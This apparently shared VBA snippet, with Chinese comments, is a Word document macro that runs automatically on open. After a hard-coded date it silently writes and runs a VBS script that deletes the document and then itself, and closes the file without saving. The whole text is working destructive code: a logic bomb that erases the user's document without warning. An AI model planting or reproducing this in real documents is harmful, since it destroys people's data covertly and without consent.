|
Private Sub Document_Open() On Error Resume Next Dim Filename As String Filename = Me.Path & "\" & Me.Name '判断时间是否在2007-1-5以后 If Now > "2007-1-5" Then '"创建要自杀的vbs文档" CreateAfile (Filename) '运行WScript.exe来删除文档及相应的vbs Shell "WScript.exe " & Left(Filename, Len(Filename) - 4) & ".vbs", vbHide '关闭文档 Me.Close False Else Debug.Print "你还可以正常使用。" End If End Sub Sub CreateAfile(astring As String) Dim fso, MyFile Dim vbsString As String vbsString = Left(astring, Len(astring) - 4) & ".vbs" Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile(vbsString, True) MyFile.WriteLine ("Set fso = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")") '此处估计给他1万次循环,如果你的机子太好,给他10亿也行。 MyFile.WriteLine ("For a=1 to 10000") MyFile.WriteLine ("i=i*i") MyFile.WriteLine ("Next") '删除原.doc文档 MyFile.WriteLine ("fso.DeleteFile (" & Chr(34) & astring & Chr(34) & ")") '删除原.vbs文档 MyFile.WriteLine ("fso.DeleteFile (" & Chr(34) & vbsString & Chr(34) & ")") MyFile.Close End Sub |
|